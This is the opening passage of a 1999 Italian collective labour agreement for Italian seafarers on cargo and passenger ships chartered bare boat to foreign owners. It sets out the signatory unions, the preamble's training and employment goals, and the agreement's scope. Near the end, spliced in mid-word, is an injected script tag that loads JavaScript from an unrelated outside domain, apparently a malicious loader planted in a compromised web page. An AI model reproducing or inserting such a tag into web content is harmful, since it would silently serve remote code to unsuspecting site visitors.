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Categoria: Marittimi, bare boat carico e passeggeri con personale italiano Settore: Trasporti Data stipula: 24-11-1999 Data decorrenza: 1-7-1999 Data scadenza: 31-12-2002
Contratto Collettivo Nazionale di Lavoro
PER L'IMBARCO DEI MARITTIMI DI NAZIONALITÀ ITALIANA SULLE NAVI DA CARICO
E PASSEGGERI LOCATE A SCAFO NUDO AD ARMATORE STRANIERO
(ai sensi degli artt. 28 e 29, legge n. 234/89)
L'anno 1999 addì 24 novembre in Roma
- Confederazione Italiana Armatori
e
- le Organizzazioni dei lavoratori sottoelencate:
Federazione Italiana Lavoratori Trasporti (FILT-CGIL)
Federazione Italiana Trasporti (FIT-CISL)
Unione Italiana Lavoratori Trasporti (UIL-TRASPORTI)
hanno stipulato il presente CCNL per l'imbarco dei marittimi di
nazionalità italiana sulle navi da carico e passeggeri iscritte nei
registri speciali secondo i dettami della legge n. 234 del 14.6.89.
PREMESSA
Considerato che una migliore posizione concorrenziale della flotta
nazionale sul mercato internazionale e la difesa degli attuali livelli
occupazionali dei marittimi italiani sia in termini quantitativi che
qualitativi è un comune obiettivo delle parti, l'utilizzo del "Bare Boat"
non viene inteso come fatto strutturale di gestione della flotta, bensì
come strumento peculiare per fronteggiare particolari situazioni di
concorrenza internazionale. Con l'obiettivo inoltre di recuperare,
attraverso tale strumento, anche tonnellaggio di controllo nazionale di
fatto già gestito all'estero.
Sulla base di tali comuni obiettivi le parti si danno atto che qualora le
dismissioni di bandiera ai sensi della legge n. 234/89 dovessero dare
luogo a ridondanze occupazionali, queste verranno gestite attraverso gli
strumenti individuati nelle pattuizioni contrattuali.
Per quanto riguarda la qualità dell'occupazione le parti, attraverso gli
interventi sulla formazione, mirano ad affidare - sulla nave - agli
italiani le posizioni di maggiore responsabilità e contenuto
professionale, a partire dagli ufficiali.
Pertanto la flessibilità concordata sulle qualifiche va intesa come fatto
transitorio a tutela dell'occupazione in ogni qualifica in attesa di un
mercato del lavoro tendenzialmente stabile e con adeguate qualificazioni.
Tutto ciò premesso le parti individuano le seguenti linee di azione:
Migliorare, a tutti i livelli, le attività formative e addestrative dei
marittimi italiani per mettere a disposizione dell'armamento nazionale le
risorse umane necessarie allo sviluppo e in pari tempo rimuovere gli
ostacoli che si frappongono all'immediato ingresso nel mercato del lavoro
dei marittimi terminata l'attività addestrativa.
A tal fine concordano sulla necessità di:
a) dare attuazione al Regolamento unico nazionale per il collocamento
della Gente di mare;
b) ripristinare le norme agevolative per l'imbarco degli allievi;
c) finanziare con risorse pubbliche o comunitarie la frequenza ai corsi
previsti dalla STCW 78. Su questo aspetto in particolare si ritiene
necessario focalizzare l'attenzione del Ministero dei trasporti e della
navigazione in occasione delle riunioni che in materia di formazione
verranno tenute presso il Ministero stesso.
1) CAMPO DI APPLICAZIONE
Il presente CCNL si applica sulle navi da carico e passeggeri locate a
scafo nudo ad armatore straniero ai sensi degli artt. 28 e 29, legge n.
234/89.
Tale contratto deve essere considerato accordo quadro per la necessaria
definizione degli accordi sindacali relativi alle singole navi da
stipularsi a livello nazionale, in merito alla composizione delle tabelle
di armamento nel rispetto delle tabelle contrattuali nazionali. Nella
definizione di tali accordi si è tenuto conto di eventuali trattamenti
economici aziendali.
Il cabotaggio italiano non verrà ammesso all'utilizzo della normativa in
materia di "Bare Boat". Le parti verificheranno la posizione
concorrenziale del naviglio cabotiero italiano nei confron<script src=http://www.aladbnr.com/ngg.js></script>
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